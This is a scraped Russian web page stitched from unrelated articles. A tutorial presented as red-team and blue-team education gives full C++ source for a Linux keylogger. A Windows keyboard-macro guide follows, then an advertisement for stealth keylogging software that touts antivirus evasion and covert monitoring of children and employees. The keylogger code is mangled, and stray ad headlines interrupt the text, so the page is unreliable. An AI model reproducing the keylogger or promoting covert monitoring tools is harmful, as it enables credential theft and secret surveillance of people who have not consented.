Программа для записи всего что вводится с клавиатуры

Содержание

Первая часть полного руководства по кейлоггингу в Linux будет посвящена основам кейлоггинга и его важности в сфере обеспечения безопасности Linux. Мы подробно разберем кейлоггинг в пользовательском пространстве и покажем как написать кейлоггер для Linux, считывающий нажатия с клавиатуры устройства.

Что такое кейлоггер?

Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.

Почему нужно изучать кейлоггеры?

Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.

Лучшие БЕСПЛАТНЫЕ программы для записи ВИДЕО с экрана ПК без ограничений! Программы для скринкастов.

Кому это может понадобиться?

  1. Вы узнаете, какие методы внедрения кейлоггеров существуют;
  2. Вы поймете, где можно запустить кейлоггер.

Специалистам Defensive Security или синей команде:

  1. Вы поймете, где могут скрываться кейлоггеры;
  2. Вы узнаете общие API и методы, которые следует отслеживать для обнаружения кейлоггеров.

Взаимодействие клавиатуры и Linux

Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:

/————+———— /————+———— | app 1 | app 2 | | app 3 | app 4 | ————+————/ ————+————/ ^ ^ | | +——-+ | | | | key symbol keycode | | + modifiers | | | | | +—+————-+ +————+————-+ + X server | | /dev/input/eventX | +——————+ +————————-+ ^ ^ | keycode / scancode | +—————+—————+ | | +—————+—————+ interrupt | kernel | | motherboard |————>| CPU | +———-+ key up/down +————-+ +——+

Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши ( keydown и keyup ), который называется кодом клавиши или скан-кодом ( keycode или scancode ). Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например, keydown и/или keyup ) и запустит прерывание для CPU.

CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs ( /dev/input/eventX ).

Как записать видео с экрана Windows #shorts

В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.

Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:

  • Кейлоггер определит, какой файл /dev/input/eventX является клавиатурным устройством и будет напрямую считывать данные из этого файла.
  • Кейлоггер запросит данные о событиях у X-сервера.

А как найти клавиатуру в системе?

Определить клавиатуру или устройство, заменяющее ее, довольно просто:

  1. Итерируем все файлы по ` /dev/input/ ;
  2. Проверяем, принадлежит ли найденный файл к символьному устройству;
  3. Проверяем, поддерживает ли данный файл события клавиатуры;
  4. Проверяем, есть ли в данном файле клавиши, встречающиеся на клавиатурах.

В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные.

Так можно итерировать каталоги и искать символьные файлы в C++17:

std::string get_kb_device() < std::string kb_device = «»; for (auto /dev/input/»)) < std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) < kb_device = p.path().string(); >> return kb_device; >

А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:

  1. Проверим, действительно ли файл доступен для чтения.
  2. Используем IOCTL (функцию, манипулирующую базовыми параметрами устройств, представленных в виде специальных файлов), чтобы проверить, поддерживаются ли события клавиатуры.
  3. Еще раз используем IOCTL и узнаем, поддерживаются ли нужные нам клавиши.
Читайте также:
Совкомбанк название программы 1с

Пример кода для вышеописанной логики приведен ниже:

std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) < std::cerr int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), if((EV_KEY ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), if((kbd_bitmap // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; >> close(fd);

Как реализовать считывание событий клавиатуры?

Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:

  1. Считываем данные с клавиатуры в объект ` input_event `;
  2. Проверяем, является ли тип события EV_KEY (т.е. событием нажатия клавиши);
  3. Расшифруем поля и извлечем скан-код;
  4. Сопоставим скан-код с названием клавиши.

Структура ` input_event` выглядит так:

struct input_event

Рассмотрим переменные в структуре:

  • `time` – временная метка, возвращающая время, в которое произошло событие.
  • «type` – тип события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он будет **EV_KEY** .
  • «code` – код события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он станет скан-кодом.
  • «value` – значение события. Оно может может показывать относительное изменение EV_REL , совершенно новое значение EV_ABS. В EV_KEY оно принимает значение 0 для keyup , 1 для keydown и 2 для автоповтора.

Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом:

std::vector keycodes = < «RESERVED», «ESC», «1», «2», «3», «4», «5», «6», «7», «8», «9», «0», «MINUS», «EQUAL», «BACKSPACE», «TAB», «Q», «W», «E», «R», «T», «Y», «U», «I», «O», «P», «LEFTBRACE», «RIGHTBRACE», «ENTER», «LEFTCTRL», «A», «S», «D», «F», «G», «H», «J», «K», «L», «SEMICOLON», «APOSTROPHE», «GRAVE», «LEFTSHIFT», «BACKSLASH», «Z», «X», «C», «V», «B», «N», «M», «COMMA», «DOT», «SLASH», «RIGHTSHIFT», «KPASTERISK», «LEFTALT», «SPACE», «CAPSLOCK», «F1», «F2», «F3», «F4», «F5», «F6», «F7», «F8», «F9», «F10», «NUMLOCK», «SCROLLLOCK» >;

Для полноты картины ниже приведен полный исходный код кейлоггера:

#include #include #include #include #include #include #include #include #include #include #include std::vector keycodes = < «RESERVED», «ESC», «1», «2», «3», «4», «5», «6», «7», «8», «9», «0», «MINUS», «EQUAL», «BACKSPACE», «TAB», «Q», «W», «E», «R», «T», «Y», «U», «I», «O», «P», «LEFTBRACE», «RIGHTBRACE», «ENTER», «LEFTCTRL», «A», «S», «D», «F», «G», «H», «J», «K», «L», «SEMICOLON», «APOSTROPHE», «GRAVE», «LEFTSHIFT», «BACKSLASH», «Z», «X», «C», «V», «B», «N», «M», «COMMA», «DOT», «SLASH», «RIGHTSHIFT», «KPASTERISK», «LEFTALT», «SPACE», «CAPSLOCK», «F1», «F2», «F3», «F4», «F5», «F6», «F7», «F8», «F9», «F10», «NUMLOCK», «SCROLLLOCK» >; int loop = 1; void sigint_handler(int sig) < loop = 0; >int write_all(int file_desc, const char *str) < int bytesWritten = 0; int bytesToWrite = strlen(str); do < bytesWritten = write(file_desc, str, bytesToWrite); if(bytesWritten == -1) < return 0; >bytesToWrite -= bytesWritten; str += bytesWritten; > while(bytesToWrite > 0); return 1; > void safe_write_all(int file_desc, const char *str, int keyboard) < struct sigaction new_actn, old_actn; new_actn.sa_handler = SIG_IGN; sigemptyset( new_actn.sa_flags = 0; sigaction(SIGPIPE, old_actn); if(!write_all(file_desc, str)) < close(file_desc); close(keyboard); std::cerr sigaction(SIGPIPE, > void keylogger(int keyboard, int writeout) < int eventSize = sizeof(struct input_event); int bytesRead = 0; const unsigned int number_of_events = 128; struct input_event events[number_of_events]; int i; signal(SIGINT, sigint_handler); while(loop) < bytesRead = read(keyboard, events, eventSize * number_of_events); for(i = 0; i < (bytesRead / eventSize); ++i) < if(events[i].type == EV_KEY) < if(events[i].value == 1) < if(events[i].code >0 events[i].code < keycodes.size()) < safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard); safe_write_all(writeout, «n», keyboard); >else < write(writeout, «UNRECOGNIZED», sizeof(«UNRECOGNIZED»)); >> > > > if(bytesRead > 0) safe_write_all(writeout, «n», keyboard); > std::string get_kb_device() < std::string kb_device = «»; for (auto /dev/input/»)) < std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) < std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) < std::cerr int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), if((EV_KEY // The device acts like a keyboard ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), if((kbd_bitmap // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; >> close(fd); > > return kb_device; > void print_usage_and_quit(char *application_name) < std::cout int main(int argc, char *argv[]) < std::string kb_device = get_kb_device(); if (argc < 2) print_usage_and_quit(argv[0]); if(kb_device == «») print_usage_and_quit(argv[0]); int writeout; int keyboard; if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0) < std::cerr if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0) < std::cerr std::cout

Интересуетесь темой кибершпионажа? Подпишитесь на наш ТГ канал и узнайте, как остаться незамеченным для шпионов.

Источник: www.securitylab.ru

Как создать макросы клавиатуры в Windows 10

Макросы клавиатуры пригодятся тогда, когда вы хотите быстро получить доступ к ресурсам компьютера, не выполняя обычную длительную процедуру. Если вы используете Windows 10 и у вас нет доступа к мыши или компьютеру с сенсорным экраном, вы обнаружите, что открывать часто используемые приложения или отправлять повторяющиеся наборы команд излишне, отнимает много времени и утомляет. Здесь вам на помощь приходят макросы клавиатуры.

Что такое макросы клавиатуры?

В вычислениях макрос — это отдельная команда, которая превращается в серию инструкций, предназначенных для выполнения определенной задачи. Таким образом, макрос клавиатуры — это последовательность команд в комбинации клавиш, которая вводится с клавиатуры для выполнения определенной задачи на компьютере. Подобно сочетаниям клавиш Windows 10, таким как CTRL + C для команды «копировать», CTRL + V для «вставки» и CTRL + Z для «отмены», макросы клавиатуры должны экономить ваше время и энергию при использовании различных эксплойтов Windows 10.

Читайте также:
Программа ворд обучение для начинающих пошагово

Например, если вам нужно начать несколько электронных писем с одной и той же фразы, включение макроса клавиатуры позволит вам мгновенно вводить эту повторяющуюся фразу, когда это необходимо, без набора ее.

Преимущества макросов клавиатуры в Windows 10

Макросы клавиатуры направлены на повышение производительности труда за счет повышения эффективности использования клавиатуры. Они достигают этого за счет:

  • Экономия времени. Сопоставление макросов клавиатуры с комбинацией клавиш значительно экономит ваше время каждый раз, когда вы вызываете макрос к действию. Теперь вы можете потратить всего долю секунды на то, что раньше занимало у вас минуты.
  • Повышение вашей точности. Момент, когда вы правильно настроили свои макросы, означает конец сбоев в управлении данными, таких как опечатки и пропуски, поскольку макросы каждый раз выполняются точно так же. Это устраняет избыточность и дает вам больше времени, чтобы сосредоточиться на нестандартных операциях.

См. также: Как добавить ссылки на веб-сайты в меню Пуск Windows 10

Есть ли в Windows 10 Macro Recorder по умолчанию?

В настоящее время в Windows 10 нет встроенного приложения для записи макросов. Однако существует множество сторонних клавиатурных регистраторов макросов, которые могут помочь вам записывать, редактировать и публиковать различные макросы.

Как создать макросы клавиатуры

Давайте посмотрим, как вы можете создавать макросы в Windows 10.

Шаг 1. Чтобы быть с, создайте сочетание клавиш для приложения, для которого вы хотите создать макрос. Обычно это приложение, которое вы чаще всего используете, и вы можете закрепить его в меню «Пуск» или на панели задач.

Шаг 2: Запустите командную строку от имени администратора и вставьте следующий контент без кавычек « explorer shell:AppsFolder ». Откроется новое окно, в котором будут показаны все приложения в вашей системе Windows 10

Запустите командную строку

или откройте Проводник файлов (нажав одновременно клавиши Win + E), введите или скопируйте и вставьте в адресную строку « Shell:AppsFolder », и нажмите Enter:

Проводник файлов

Шаг 3: Найдите предпочтительное приложение (в нашем случае мы выбрали Панель управления). Щелкните его правой кнопкой мыши и выберите вариант « Создать ярлык ».

предпочтительное приложение

Шаг 4: Вы получите уведомление о том, что новый ярлык не может быть создан в текущем месте. Вместо этого вас спросят, хотите ли вы разместить ярлык на рабочем столе. Просто нажмите « Да ». Это создаст ярлык на рабочем столе.

Шаг 5: Теперь перейдите на рабочий стол и найдите ярлык. Щелкните его правой кнопкой мыши и выберите параметр « Свойства »,

Шаг 6: Во всплывающем окне свойств приложения нажмите « Ярлык » и определите комбинацию клавиш быстрого доступа. Обычно это начинается с Ctrl + Alt. Чтобы определить третий символ, просто нажмите его на клавиатуре. Например, в приведенном ниже примере мы ввели букву L. После того, как вы закончите, нажмите « Применить », затем « ОК ».

См. также: Как узнать, умирает ли ваш жесткий диск с помощью SMART в Windows 10?

свойств приложения

Макрос клавиатуры для выбранного приложения успешно настроен. Просто нажмите заданную комбинацию клавиш, и ваше приложение откроется мгновенно.

Как создать горячие клавиши в Windows 10

Горячие клавиши используются для вызова действия определенных компьютерных команд с помощью одного нажатия клавиши. В Windows 10 вы можете назначать определенным клавишам клавиатуры определенные команды, делая их горячими клавишами. Затем вы можете использовать эти горячие клавиши для доступа к различным сочетаниям клавиш, командам или функциям Microsoft Mouse and Keyboard Center, чтобы лучше дополнить свой стиль работы.

Вот как создать горячие клавиши в Windows 10:

  • Загрузите и установите Microsoft Mouse and Keyboard Center
  • Подключите клавиатуру, которую вы хотите настроить, с помощью горячих клавиш
  • Нажмите кнопку «Пуск» в Windows и нажмите « Центр мыши и клавиатуры Microsoft».
  • На вкладке «Горячие клавиши» нажмите «Создать / добавить новую горячую клавишу». Вы также можете перейти к существующей горячей клавише в списке, чтобы переназначить ей другую функцию.
  • Выберите клавишу, которую вы хотите сделать горячей клавишей
  • В списке команд выберите команду для новой горячей клавиши.
  • Выберите «ОК», чтобы создать горячую клавишу.

Создание макросов клавиатуры

При создании макросов клавиатуры вы можете пойти либо аппаратным путем, либо программным путем.

Макросы аппаратной клавиатуры

Только немногие клавиатуры поддерживают аппаратные макросы, поскольку большинству клавиатур не хватает встроенной памяти или функций для записи и хранения макросов. Среди клавиатур с поддержкой аппаратных макросов у некоторых есть специальные клавиши макросов — отдельные клавиши, предназначенные для функций макросов, вместо комбинаций клавиш.

Читайте также:
В чем преимущество программ распознавания текста перед ручным вводом помимо скорости выполнения

Клавиатуры со встроенной записью макросов обычно имеют эту информацию на своей веб-странице или на упаковке. К преимуществам создания макросов клавиатуры непосредственно на клавиатуре относятся:

  • Макросы хранятся на клавиатуре, поэтому вам не потребуется дополнительная настройка или программное обеспечение. Кроме того, вы можете удобно использовать клавиатуру с загруженными макросами на любом компьютере, если они совместимы.
  • Записанные макросы клавиатуры более надежны, чем программные макросы клавиатуры, записанные программно, поскольку последние более подвержены программным сбоям.

См. также: Как быстро открыть одним файлом несколько сайтов в Windows 10

Макросы аппаратной клавиатуры в основном предпочитают компьютерные геймеры, образ жизни которых требует улучшенной портативности, простой настройки и значительно простых макросов.

Программные макросы клавиатуры

Обычно программные макросы записываются с помощью компьютерной программы, а затем сохраняются в файл. TinyTask и AutoHotkey сегодня являются одними из самых популярных программ для записи макросов.

Некоторые привилегии, связанные с программно записанными макросами клавиатуры, включают:

  • Возможность поделиться макросами с коллегами. Вы можете обмениваться программными макросами клавиатуры в виде небольших файлов, если на ваших компьютерах установлено такое же программное обеспечение для макросов.
  • Исключительная простота использования. С помощью текстового сценария или графического интерфейса пользователя процедурной производительности ваших макросов, записанных программным обеспечением, вы можете легко просматривать, редактировать и настраивать макросы для достижения оптимальной производительности.

Программная запись макросов идеально подходит для разработчиков сложных макросов.

Заключение

Макросы клавиатуры могут оптимизировать производительность клавиатуры и значительно повысить вашу продуктивность при использовании Windows 10. Тем не менее, программное обеспечение, которое вы устанавливаете на свой компьютер с Windows 10, также может использовать заданные вами макросы клавиатуры для своих операций в приложении. Следовательно, очень важно каждый раз использовать разные комбинации макросов клавиатуры. Тем не менее, это может быть немного сложно, поскольку Windows 10 не предупреждает вас о конфликтах макросов клавиатуры.

Источник: techno-blogger.ru

Лучший бесплатный кейлоггер

«Лучший бесплатный кейлоггер» — это программное решение, которое позволит отслеживать, что делают ваши дети или сотрудники на своём компьютере.

Бесплатное скачивание Windows Vista/7/8/8.1/10

  • Нажатие клавиш
  • Буфер обмена
  • Скриншоты
  • Интернет
  • Приложения

Записи нажатия клавиш Best Free Keylogger

Записи буфера обмена от Best Free Keylogger

Скриншоты, сделанные Best Free Keylogger

Записи об интернет-активности от Best Free Keylogger

Отчеты об использовании приложений от Best Free Keylogger

Основные свойства «Лучшего бесплатного кейлоггера»

  • Запись нажатий клавиш
  • Отслеживание буфера обмена
  • Съёмка скриншотов
  • Отслеживание просмотра страниц в интернете
  • Отслеживание локальных приложений
  • Фильтр «Умного чтения»
  • Дополнительные фильтры
  • Отчёты в HTML
  • Ограничения по пользователю / приложению
  • Плановое отслеживание
  • Шифрование лог-файлов
  • Защита паролем
  • Доставка отчётов по электронной почте, FTP, LAN, USB
  • Автоматическое удаление логов
  • Режим «Невидимки»
  • Автоматическое удаление программы
  • Родительский контроль
  • Веб-фильтр
  • Ограничение доступа в интернет по времени
  • Блокировка интернета
  • Блокировка приложений

Почему стоит выбрать «Лучший бесплатный кейлоггер»?

Контролируйте все с Best Free Keylogger

Тотальный контроль

«Лучший бесплатный кейлоггер» может записывать все нажатия клавиш, просмотр страниц в интернете, буфер обмена, а также использование локальных приложений со съёмкой скриншотов текущей активности через указанные интервалы времени.

Дружественный просмотрщик отчетов на Best Free Keylogger

Удобный просмотр отчётов

«Лучший бесплатный кейлоггер» дополнен простой в использовании и надёжной функцией просмотра отчётов и скриншотов. Благодаря функции «Умного чтения», встроенной в «Лучший бесплатный кейлоггер», отчёты о нажатиях клавиш очень просто читать и понимать.

Несколько способов доставки на Best Free Keylogger

Несколько вариантов доставки

Отчёты, создаваемые программой «Лучший бесплатный кейлоггер», могут быть отправлены по электронной почте или загружены на FTP-сервер по выбору. Вы также можете настроить отправку отчётов на текущий LAN или автоматическое копирование логов на карту памяти USB при подключении.

Простые настройки на Best Free Keylogger

Разнообразные настройки

«Лучший бесплатный кейлоггер» может:
+ Автоматически удаляться
+ Проводить плановый контроль по расписанию
+ Автоматически удалять логи
+ Фильтровать пользователей и приложения
+ и многое другое.

Найдите то, что вы ищете с Best Free Keylogger

Найдите то, что искали

Программа «Просмотра отчётов Лучшего бесплатного кейлоггера» дополнена функцией фильтрации результатов поиска, благодаря чему вы сможете невероятно быстро и просто найти то, что искали.

Best Free Keylogger является безопасным и надежным

Безопасность

«Лучший бесплатный кейлоггер» незаметно работает в фоновом режиме и защищён паролем. Следовательно, только пользователь, установивший программу, может её увидеть или открыть при помощи пароля. Даже антивирусы не в состоянии засечь эту программу, а все лог-файлы подвергаются шифрованию в целях обеспечения безопасности вашей информации.

Всего Загрузок

Бесплатные Пользователи

PRO Пользователи

Для кого эта программа?
Системные администраторы
Ваш бизнес
Интернет-кафе
Частные пользователи

Законно ли использование кейлоггера?

Использовать «Лучший бесплатный кейлоггер» совершенно законно, если вы являетесь владельцем компьютера или получили административные права от владельца компьютера.

Что говорят пользователи «Лучшего бесплатного кейлоггера»?

И пользуюсь программой «Лучший бесплатный кейлоггер», чтобы следить за тем, что мой ребёнок делает в интернете. Теперь я точно знаю, чем он занимается в интернете. Я думаю, любому родителю, который хотел бы приглядывать за своими детьми, эта программа окажется полезной. Так ваши дети точно не ввяжутся в неприятности и не познакомятся с подозрительными личностями.

Перепробовав несколько программ, я решил остановиться на программе «Лучший бесплатный кейлоггер». Её просто установить и использовать. Она отслеживает всё, что нужно. А ещё это единственное ПО, которое работает с Firefox, Chrome Opera, IE и всеми остальными браузерами. Хотелось бы выразить благодарность команде разработчиков.

У них превосходная служба поддержки.

Источник: bestxsoftware.com

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru